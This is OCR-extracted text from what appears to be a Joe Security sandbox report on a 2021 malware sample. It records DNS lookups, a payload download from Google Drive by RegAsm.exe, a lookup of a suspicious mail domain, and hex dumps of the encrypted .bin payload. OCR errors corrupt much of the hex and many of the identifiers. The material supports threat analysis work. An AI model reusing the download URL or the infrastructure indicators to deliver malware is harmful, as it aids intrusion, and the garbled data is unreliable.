TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
0x2000 False 0.348510742188 data 3.76228374891 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ
Country where language is spoken
United States
Source IP Dest IP Trans ID OP Code Name Type Class
192.168.11.20 1111 0x72c5 Standard query  drive.google.com A (IP address) IN (0x0001)
(0)
192.168.11.20 1111 0x70d6 Standard query  doc-04-ak- A (IP address) IN (0x0001)
0) docs.goog|
eusercontent.com
192.168.11.20 1111 0x521 Standard query  mail.tccin A (IP address) IN (0x0001)
0) faes.com
192.168.11.20 1111 0xe9b1 Standard query  x1.i.lencr.org A (IP address) IN (0x0001)
(0)
Trans ID Reply Code Name CName Address Type Class
0x6ef6 No error (0) devcentera apimgmttmr17ij3jt5dneg6 CNAME IN (0x0001)
pi.azure-api.net 4srod9jevcuajxaoubedbrt (Canonical
u9cq.trafficmanager.net name)
0x6ef6 No error (0) devcenterapi- apimgmthszbjimgeglorvth CNAME IN (0x0001)
eastus- kncixvpso9vnynvh3ehms (Canonical
Ol.regiona dlI33a.cloudapp.net name)
|.azure-api.net
0x72c5 No error (0) drive.goog 142.250.185.174 A (IP address)  IN (0x0001)
le.com
0x70d6 No error (0) doc-04-ak- googlehosted.l.googleuse CNAME IN (0x0001)
docs.googl rcontent.com (Canonical
euserconte name)
nt.com
0x70d6 No error (0) googlehost 142.250.185.161 A (IP address)  IN (0x0001)
ed.l.googl
euserconte
nt.com
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Timestamp Source IP

Oct 13, 2021
13:08:14.253453016
CEST

1111

Oct 13, 2021
13:08:14.253453016
CEST

1111

Oct 13, 2021
13:08:15.105354071
CEST

1111

Oct 13, 2021
13:11:55.229016066
CEST

1111

Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0x521

0x521

Oxe9b1

Oxcadd

HTTP Request Dependency Graph

e drive.google.com

e doc-04-ak-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 11:06:37 UTC 0

2021-10-13 11:06:38 UTC 0

2021-10-13 11:06:38 UTC 1

2021-10-13 11:06:38 UTC 1

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49755

Direction

ouT

Source Port

49756

Direction

Reply Code Name CName Address Type Class
No error (0) mail.tccin tccinfaes.com CNAME IN (0x0001)
faes.com (Canonical
name)
No error (0) tccinfaes.com 188.93.227.195 A (IP address)  IN (0x0001)
No error (0) x1.i.lencr.org crl.root- CNAME IN (0x0001)
x1.letsencrypt.org.edgeke (Canonical
y.net name)
No error (0) prda.aadg. www.tm.a.prd.aadg.traffic CNAME IN (0x0001)
msidentity.com  manager.net (Canonical
name)

Destination IP Destination Port Process

142.250.185.174 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Data

GET /uc?export=download&id=1sPphH_DrSUT3UeS4UDzeclKCi9pqFiSe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 13 Oct 2021 11:06:37 GMT

Location: https://doc-04-ak-docs.googleusercontent.com/docs/securesc/ha0Oro937gcuc7I7deffksulngs5h7mbpl/qclfdhg8
35moktnu71nht8627dleqonv/1634123175000/00240525256395999725/*/1sPphH_DrSUT3UeS4UDzeclKCi9pqFiSe?e=do
wnload

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Content-Security-Policy: script-src ‘nonce-Or3rYL/SczOidf/OxFhdmQ' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=RuYp0i-dRpZWJeYEnNHmMh235XiDttSUzYs6yg_qgxbWhwIBIF6YaYLTiQ8CmWrG4TNOye59Z
9iX0zQssbRnSdJLbd1wzBYE5BIaNOYyuUkdOdPWeNA5aicrcO5Dy2nPSlwzxbAilvotzq7hKilUlpMshgDDLzw3D3z
bFqIK2JnI8U; expires=Thu, 14-Apr-2022 11:06:37 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 34 2d 61 6b 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 71 63 31 66

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-04-ak-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7I7deffksulhgsh7mbp1/gclf

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.185.161 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

Data
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kBytes
Timestamp transferred

2021-10-13 11:06:38 UTC 1

2021-10-13 11:06:38 UTC 2

2021-10-13 11:06:38 UTC 5

2021-10-13 11:06:38 UTC 9

2021-10-13 11:06:38 UTC 13

2021-10-13 11:06:38 UTC 16

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /docs/securesc/haOro937gcuc?I7deffksulhgs5h7mbpl/qc1fdhg835mokinu71nht8627dleqonv/1634123175000/0
0240525256395999725/*/1sPphH_DrSUT3UeS4UDzeclKCi9pgFiSe?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-04-ak-docs.googleusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycduV4gRLd11r_vu3zwe8icMKRolg50FztgtnAw26kR_qReUvIDw4proQ-i6OTWFG
edrS7F_KBISY-epW6QJkqBY

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, Xx-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-Pageld, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-ld, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset,
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-d, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer,
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL,
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="noekon2ti_QmKVxurw139.bin";filename*=UTF-8"noekon2ti_QmKVxurW139.bi
n

Content-Length: 221760

Date: Wed, 13 Oct 2021 11:06:38 GMT

Expires: Wed, 13 Oct 2021 11:06:38 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=7mzgBQ==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: c2 cb 36 f3 53 48 99 71 d1 9d 21 3a 68 27 14 63 fb 79 aa 8¢ be fa ca f5 94 61 76 93 37 7a 7b b4 ec €8 63 db f9
8e 1a 3573 df 87 ¢7 3b 93 ec 71 99 32 b3 f5 1e bb 29 5a 30 1c 63 52 07 37 b0 8b e3 8f 65 77 €9 Oc 84 86 89 55 00 2f 1d
53 10 b3 38 a3 42 78 fd bd 1a 63 a3 6a b9 02 d5 96 86 6e 82 38 83 f6 b2 52 2e f6 7a eb 4c ad 05 dO 99 5a 8f e3 8 bc f1 ch
ee 21 30 c5 2a 7a de a9 c9 e6 65 19 e4 9a 7f ac 39 84 c9 4e bd bf 7e a3 5b 48 39 e0 68 cf e5 b3 fa 32 f3 da 8d 98 3¢ 2d
56 Oe 6a 10 cd 60 8d 6e 86 b6 8f 25 71 b2 7b 77 ¢3 f8 a8 23 53 09 e6 f8 09 23 04 22 4d b0 87 cc 10 b2 Oa 3c b3 90 6e 13
92 b1 92 e2 54 f2 99 81 30 f1 9f f8 €5 b6 1c ad a4 07 73 18 1f 2b d6 8c e4 8a 9e 29 81 ce b3 f5 f9 ef e0 88 93 0a le cl el
27 94 7f ba 64 e0 88 0d 0d b3 ff 6d 6d 74 d3 f6

Data Ascii: 6SHq!:h'cyav7z{c5s;02)Z0cR7ewU/S8Bxcjn8R.zLZ!0*ze9IN~[HIh2<-Vj n%q{w#S#'M<nTOs+)'dmmt

Data Raw: 94 0b 43 38 6b 0d 35 be 00 a7 c2 c3 d1 83 4a 16 fd 68 38 90 d2 19 92 3d 64 e4 f3 Oc 46 77 22 4d ba 5b e4 3e
b0 5a 7f b9 4e 30 3a a6 b1 73 ee 28 bd 9b 81 36 fb b7 cO e5 b6 f6 73 a6 00 52 19 14 2b d7 fc e7 8a 9¢ 21 {8 ce a5 7a f9 e5
8e fe 90 Oa 1c el b8 27 d6 e4 ba 6e e0 88 4d 0d b3 df 6d 6d d9 7c f6 89 40 74 8e 55 6e 95 9a a9 dd 70 e4 83 31 7c 29 c6
a8 62 0b 89 06 4d b4 f9 7e 44 2f de 95 b5 e4 76 1d 20 {8 e8 20 06 f9 ee f9 aa 86 db 4b fc a6 68 58 ¢5 b0 91 3f 74 e5 10 Ob
b0 7a 83 ca db 26 ff a9 0f 82 c6 c3 76 ef 85 99 c6 ca 5a 5e 3c b9 7a 74 ff €9 46 40 e2 2d b1 8b a8 02 54 69 52 85 bf 05 el
34 64 cc 15 e0 44 80 ff 93 58 €3 88 20 33 Of fc 45 7f d1 66 66 55 ff b6 ca cd 82 5e f4 76 49 01 1c 97 82 3c c7 e0 e7 73 ad
32 cl8a 15 b4 6e 3aa9c6 73 73 0e 98 32 d1

Data Ascii: C8k5Jh8=dFw"M[>ZN0:s(6sR+!z’nMmm|@tUnp1[)bM~D/v KhX?tz&vZ"<ztF@-TiR4dDX 3EffU”vI<s2n:ss2

Data Raw: 88 12 01 b0 cf f6 97 df 26 e4 ab 0f a5 57 8d 5a e4 86 b7 95 86 58 54 31 c9 3c 67 fb €3 51 6¢ b8 d1 b0 al c4 4b
47 6d 58 92 d4 48 f5 ca 6f eb 1f 9d 61 91 81 8a 37 b0 8c 82 26 32 al 43 7f ¢6 74 51 6a 01 b7 ec d6 cb ca fa 08 51 06 73
€7 20 23 df ff e4 1c e4 36 d7 7e a3 8f bb a0 91 c2 73 63 07 84 32 37 2d dO 47 Oc 6¢ 80 18 a5 7d 49 24 a7 34 ff 80 02 73
81 65 56 6b e5 0a b3 df 9a ce 78 ef 86 ¢3 dd c8 3f 99 84 67 Oc 81 65 45 9¢c 32 d1 c8 71 39 b4 4a 76 ae 8b e4 a5 fa e5 63
56 4a 43 06 30 12 57 4d b1 5b 05 dc 2d cd eb ba 7f 52 03 ad 44 64 f3 de 82 71 0d f2 0d b5 08 25 2a f5 3f 13 7d ce a6 a0
71 2b 70 9e ed 35 cb 99 66 5¢c a3 4f 68 62 8a 1f 25 18 e3 al 15 94 0f 24 41 91 3c bd da dd 69 8b 6d a2 f9 be 7b 89 7 3f fa
a6 b7 23 b5 d1 3d 2d 84 b3 5d 23 88 ad 57 ba be 67

Data Ascii: &WZXT1<gQIKGmXHoa7&2CtQjQs #6~sc27-Gl}I$4seVkx?geE2q9IvcVICOWM[-RDdq%*?}q+p5f\
Ohb%$A<im{?#=-]#Wg

Data Raw: d6 63 51 58 63 07 Od 18 54 8f 9a b8 2b c6 €9 cd ed b2 89 c6 26 85 79 4c 85 d6 91 5f 0d 51 0d b5 08 e4 20 68
68 3b f2 ce 8e 3d 05 25 7a 81 fc d6 52 99 66 57 55 db 4d 4a b7 37 52 10 fO 8e 15 37 Of 24 41 67 44 ae d2 f3 a8 10 6d a4
9c 50 5e 89 fd eb dd 18 9f 14 bf f9 72 3c ae 9d 4d b8 88 a7 83 92 89 6f 53 35 81 b0 28 4d b4 00 04 57 dO 98 45 c6 84 ef Of
21 58 bb d4 84 0c 8b 5b 02 a6 dd dd a3 42 fe 3f 5f 1a b0 82 c4 64 7e cd ef cc de 3b 46 72 69 4b c4 17 83 87 8f 3e d0 5d
29 77 e7 b6 f4 6b dO bd 13 a5 be 6d 4f da 10 ea 3e f2 00 a9 ae 9d 77 58 a9 f3 bf 22 dd c9 22 4a 90 1e 48 03 c1 67 81 le
27 7c ca e8 db 56 a7 90 82 23 d3 df 45 74 b8 1c c7 a9 08 83 6a c8 23 33 f6 b6 Oc 71 1c b3 le eb cf af 9c dd 9c c7 2f 77 47
b5 81 64 f8 ba ea bd 29 51 07 3b 32 bl cf 74 7a 81

Data Ascii: cQXcT+&yL_Q hh;=%zRfWUMJ7R7$AgDmMP r<MoS5(MWE!X[B?_d~;FriK>])wkmO>wX""JHg'|V#Et
#3q/wGd)Q;2tz
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 18 IN Data Raw: ea Oc 80 91 be 68 28 ef €0 ac 16 9b aa a3 42 7e d5 95 1a 63 e5 7b be 6d 07 96 86 64 aa 1c 83 f6 b8 46 38 de
48 eb 4c ab 23 0d a3 5b 8f €3 dd 94 c6 cb ee 2b 23 f8 3e 69 59 81 1 e6 6b Oc 83 b1 7e 18 30 37 e6 6 bc f7 ab c2 93 20
5093 53 32 82 dc 9d 41 81 7 bc bb 4b 6b f7 63 1e 36 0d 14 ed Ob 8d cf af 4c 1b ba 7a 3a 90 de ed 1b 35 6c ce 9a 7c 29
2028 ef al c7 d4 38 ea 58 79 b5 32 33 52 88 99 Oa e4 00 99 8a c3 22 b3 el ee e5 b6 f8 85 dc 06 78 13 b6 3a 96 ce cf ec
9c 21 87 6¢ a2 b5 d1 94 8e fe 9a 22 79 e3 el 21 bc 57 ba 64 e6 99 4a 62 61 df 6d 67 5¢ 01 f4 9b 5¢ 5¢ a0 56 75 a3 fO d1
ca 71 ee ab 4c 7e 29 d1 82 36 42 89 Oc 6f ee ca 7e 42 f3 59 93 9d ae 5e 2a 2a 97 a9 34 15 f4 c0 d6 c5 ca d1 95 88 de 46
78 8b b4 88 63 4f cd 87 01 b6 67 c4 ac db 26 f3 be 17 df
Data Ascii: h(B~c{mdF8HL#[+#>Yk~07 PS2AKkc6Lz:5I|) (8Xy23R"x:!I"y!WdJIbamg\\\VugL~)6Bo~BY **4FxcOg&

2021-10-13 11:06:38 UTC 19 IN Data Raw: 2d a8 2f cd ed b8 0f ce 03 ad 5d 4c 85 dc €9 70 25 69 02 b5 02 3a 3a 79 60 12 7d cf 8e 3b Ob 2¢c 7a 81 €9 b9
94 99 ee 5a 8b d4 67 62 80 37 48 1a e3 a6 3d Of Of 24 dc be 44 bf d4 db 41 10 c8 a5 f3 96 52 89 f7 35 c8 3d b7 22 bf f9 78
2f 35 b2 75 b8 86 ad 5d 92 27 60 7b 20 8f b0 2e 22 68 00 04 5c Oe 94 6d f1 4a e8 05 09 6e bb d4 8e Oe 8c 4a Oa 81 28 dd
a3 5e 91 f9 5e 1a ba 5c cb aa 51 fa ef c2 d4 28 6d a3 56 4b c4 12 5d 87 9e 2c f8 81 28 77 el d9 32 63 d8 b7 cd a4 9b 45
78 cc 18 e0 2d d1 28 91 ae 87 7d 86 a8 e2 b7 Oa 61 ec 2a 4c ff d6 48 03 cb 8a 86 3b Of 44 ca e8 d1 5f 8a b8 bb 23 d3 d5
9b 36 al 14 ef 4d 08 83 6¢ f7 ed 33 f6 b3 d2 7e 39 81 29 eb ce a5 8f 3 b4 a0 27 77 4d 65 81 75 f0 ff Oc bd 29 58 68 fd 32
ab c5aa 74 a4 e8 25 58 c2 1b 61 de 3d d6 41 e8 e7
Data Ascii: -/]Lp%i::y'};,zZgb7H=$DAR5="x/5u]"{ ."h\mInJ("\Q(mVK],(w2cEx-(}a*LH;D_#6MI3~9)'wMeu)Xh2t%Xa=A

2021-10-13 11:06:38 UTC 20 IN Data Raw: 87 82 5f f0 55 38 8e c9 d4 c9 4e eb 69 96 c5 c6 37 63 5d al 10 el 37 eb 3b el fd 2b 15 60 16 2a 98 2a 8f db cd
5b d7 a3 a8 bb 42 d8 10 b1 86 22 20 cb 6f 5e d2 32 3f 63 f8 80 85 47 2¢ 96 9a 23 d2 23 c0 8b 64 cb 3c 18 69 b4 2b f4 5b
ef 27 e2 9d 9e 51 00 3e e6 bl ee b2 ac a6 55 52 e3 ae 1le 63 f2 6e a0 fc d4 ba 83 78 8e 22 90 2 b2 43 2a ed 84 ea 60 aa
Oc d8 03 51 93 f0 fc bc e0 cf f6 df 31 e9 23 52 6d a9 c9 ec 66 1f 4d 90 7f 09 34 5e 16 {7 90 fO ab 91 Ob 20 41 97 5e 41 96
f0 9e 57 81 b3 ad ea 59 5d c6 60 32 32 84 00 95 64 Oc 27 50 44 08 44 33 30 99 56 72 7e 8e 7a e2 ee 34 2d 20 a5 4f b0 87
e4 10 b2 4b 51 6a 92 22 14 9b c2 ad e5 00 95 8a 86 4e eb 9f f8 el 9a ad bc al 78 63 19 14 2f b9 34 e6 8a 98 37 7f cf cd
ee f9 ef 8a e8 6e Ob 7e cd d1 36 93 10 5b 65 e0 8e
Data Ascii: _U8Ni7c]7;+**[B" 0"2?¢cG,##d<i+['Q>URcnx"C* Q1#RmfM4" APAWY] 22d'PDD30Vr~z4- OKQj"Nxc/47n~6[e

2021-10-13 11:06:38 UTC 22 IN Data Raw: 90 5d 80 ¢6 75 dO 1c 95 26 c9 24 e6 bb 26 45 ab f6 70 67 b4 23 df 05 19 82 06 5d ca 1d 56 61 c5 13 98 d1 9a
ce 61 11 87 e7 cf e0 2a 8f 8f 4a 78 7c 62 52 68 5¢ 03 ca 69 38 be 54 6¢ 50 82 d1 59 ec c2 70 57 7a 5e 05 1c 16 54 ab 98
b8 2b c6 57 cd ed b2 5d d3 0f ad 46 5a 7b dd ae 75 32 65 0d bd 1d 28 de 78 4c 11 56 ca b6 48 8f d4 85 ab e7 b9 94 82 56
59 8b 1f 68 62 80 1d 52 1a f2 a5 15 f0 Of 24 41 d6 70 bf da d1 2e 25 6d a2 f9 9c 83 3a f7 35 d2 18 9f 14 bf f9 72 23 86 9d
8a b8 88 a7 4e 96 b8 67 7f 20 80 3d 55 22 72 01 09 8d 72 94 6d fO ac fb 05 09 6a 93 d4 8f d2 81 43 84 39 f0 65 b0 41 87
2 4e 1e d5 5d ca 41 5¢ 3 fe c9 ¢6 29 45 1b 51 4b c2 3b 5a f1 f2 e6 84 81 29 76 c9 cd 32 6b da 9f cd ab 9b 4f 14 81 38 71
2d de 22 26 bd 9b 6b 97 af f1 be 19 66 e2 19 6c ff
Data Ascii: Ju&$&Epg#]Vaa*Jx|bRh\i8TIPYpWzAT+W]FZ{u2e(XLVHVYhbR$AP.%m:5r#Ng =U"rrmjC9eAN]A\)EQK;Z)v2
kO8q-"&kfl

2021-10-13 11:06:38 UTC 23 IN Data Raw: f4 5f 3e 1a 04 da 18 97 c0 b0 1f 39 34 30 ¢6 f3 5a d5 d5 7b bl aa c2 e3 7d 9e €5 06 6f 1c b3 1d 6f 1b d4 cc 2a
3483 5d 9a 9d 2b 1b 99 1b 76 6d 83 ec c1 54 75 90 06 b0 7e 38 b7 2¢ 39 b1l e5 91 14 95 96 c7 b2 29 96 9¢ 8b 70 22 73
bb c4 ed 48 fb 5f 35 89 24 d1 e5 5d ¢4 7a 50 bb 15 cb 8b 48 8f 10 f0 20 c6 c7 €0 4d 29 3e 65 09 4c 67 c4 66 cO de b5 58
ab al 85 21 36 eb 52 6e 09 Oc c4 58 35 bf bl 38 69 fa cO 75 47 3d b4 eb 4c d2 25 40 b6 77 cf 38 77 49 ae d5 f1 5b d4 72
a7 86 8d 51 17 1c fad2 35 b3 80 a7 cc cf eb 8¢ 36 4b a9 6a b9 04 f8 93 5b 3d 85 38 83 dd ac 2c 0d f6 7a ef 54 9e 13 ae
bc 5a 8f e7 76 Ob e7 fa e2 09 7b c5 2a 7c 73 ac 14 d5 6¢ 06 5e bc 36 18 30 4f ea e8 fc 18 b3 82 0f 5e 5d 93 48 bb bf 33 9f
40 94 9f ed fb 5d 49 Ob 78 60 38 af 05 a9 34 03 da af
Data Ascii: _>940Z{}00*4]+vmTu~8,9)p"sH_5%$]zPH M)>eLgfX!6RnX58iuG=L%@w8wI[rQ56K][=8,zTZv{*|s"600"|H
3@]Ix'84

2021-10-13 11:06:38 UTC 24 IN Data Raw: al 8c 76 eb 52 74 ec 86 58 5¢ 25 ae 19 6d 81 eb 40 68 ab 07 bd 8e c7 55 7c 4d 58 83 da d7 e9 34 6e c3 cf 59
7¢ 80 ff 90 28 9 bb 39 47 2f b2 47 7b ff 7d 4d 7b f9 9e e4 db c2 df 74 7e 49 06 77 1e 2d 3e cd ec e2 03 8f 01 d8 fe aa a3
b8 b3 aa c8 70 72 05 b3 Oe ¢9 2c f6 c5 2f 69 b8 f4 85 13 b4 23 d9 2f e0 fb 35 42 db 6d 56 61 cb 31 8c de 9a c0 51 cb 86
cb d7 48 26 8f 8f 48 ca f2 60 52 62 31 e2 ea 5a 2b ca 45 60 50 8e €0 fd ef ee 65 79 76 bd 07 16 90 74 4f 9a bc f0 fc 2d cd
ed 90 53 c9 03 ab 21 45 84 dc 88 18 2e 68 0d bf 2a 3e 20 79 66 7c 74 ce 8e 31 1e 21 7b 81 ed af 6a 98 39 5f 94 c6 96 63
96 c9 53 45 el 87 99 0f Of 24 b5 b8 52 41 db 84 43 30 c8 a2 f3 96 a0 88 el cb d3 62 9b 49 bd 75 07 2f 84 b4 1a b4 89 ad
57 fd 9f 66 7b 2a a8 a0 2d 22 74 6f 99 5d Oe 9e 41
Data Ascii: VRtX\%m@hU|MX4nY|(9G/G{}M{t~Iw->pr,/i#/5BmValQH&H Rb1Z+E PeyvtO-S!E.h*> yf|t1Kj9_cSE$RA
CObIu/Wf{*-"to]A

2021-10-13 11:06:38 UTC 25 IN Data Raw: f3 46 e4 05 ce 40 9c 47 68 14 a4 82 24 bf d6 9e c9 72 42 33 a6 38 5f €3 e0 25 fa b6 82 96 94 2e e2 08 83 ec
65e7 a5 aa 82 1f 71 f6 d5 d1 cb 84 b9 30 5f dc Ob 7b 4f ff 82 el e3 fe cO d5 Oa 4e ae 5e ¢4 81 ba 30 4c 25 2c 36 b4 8d 20
00 53 0d 37 2f aa 18 86 db b4 30 ¢3 35 0d ce €2 b5 db 96 50 ab b9 c0 fc 51 89 e7 8 7f 2b a3 27 ef 3f f8 d9 06 a9 35 4a 4a
92 36 0a 9b 07 19 68 86 fO 35 46 4e 8a 3c 89 78 2b a2 37 37 a3 03 6e 39 b7 87 a8 9b 01 87 99 a3 85 31 61 ae bc 93 53 fb
44 24 8f 2f 2b e4 60 ce 6e bf bl 11 d9 9d 5b 81 03 f2 3b c2 2a fa 61 3a Oe 7f 38 d4 99 17 97 ca d8 68 7c b2 a9 bb 48 da
05 b2 72 30 17 df 79 2a a0 19 c1 68 d6 e5 64 4c 36 4a b0 47 cd 0f d3 8d 77 de 27 16 71 50 d4 d9 62 c2 1f 85 86 87 57 11
24 f3 bc 7f a7 81 a3 48 6b f2 a2 07 70 8 6a a8 19
Data Ascii: F@Gh$rB38_%.eq0_{ON"0L%,6 S7/05PQ+?5JJ6h5FN<x+77n91aSD$/+ n[;*a:8h|Hr0y*hdL6IGW'qPbWSHkpj

2021-10-13 11:06:38 UTC 27 IN Data Raw: 5¢ 1c 65 cc 62 6f 65 de de 8e 5b 74 84 47 7b b4 90 b3 db 7f 32 55 37 73 2b c6 a5 62 57 88 06 4d cc db 71 5e
8 ¢7 9c 9f bf 79 35 3f 96 a3 2a Ob e2 e7 f4 13 d9 d4 49 e7 af 60 6d 8a b0 9b 43 34 4 1f 1b a7 60 3a 52 c8 29 f7 be 1f 98
bc 8d 76 €5 9c 9a ff 89 42 88 29 d9 3b 71 €8 39 57 be 22 04 b1 8d c6 40 50 6b 49 8c c1 53 {7 25 6b ef 05 95 7e 8a fc 83
3b df 94 21 39 2d 8b 6b 7e d7 70 46 5b f1 36 cO db 82 4a f4 76 49 05 62 cf ed 21 cc ec ea 73 eb 33 c1 8a 8a f1 b8 b7 84
d5 67 63 17 8a 3a c1 04 ac 45 27 6f ab e2 5f ee 95 23 d9 2d ff 80 06 7b e5 3e 75 61 cf 19 83 dd 9a 36 46 b6 ae 5a dd c8
24 38 98 9a 9a aa 62 52 63 20 ee db 7b 23 a7 4a Oc 73 8a c8 a7 ed ee 63 71 12 e6 2f 03 11 7c 45 b2 98 2c a9 25 c9 c5 af
54 ¢9 05 c2 57 4d 85 d6 ae 65 34 6d 1c a6 04 22 08 28
Data Ascii: \eboe[tG{2U7s+bWMg"y5?*I'mC4":R)vB);q9W" @PkIS%k~;!9-k~pF[6JvIb!s3gc:E'o_#-{>uabFZ$8bRc {
#Jscq/|E, % TWMedm"(

2021-10-13 11:06:38 UTC 28 IN Data Raw: fO ¢9 01 cb bf 98 b6 08 4b ca 9 c¢5 51 9e 90 19 23 d3 df 83 f8 96 14 ef 42 20 b0 6d a7 ef 24 7a 83 d2 7e 38 b3
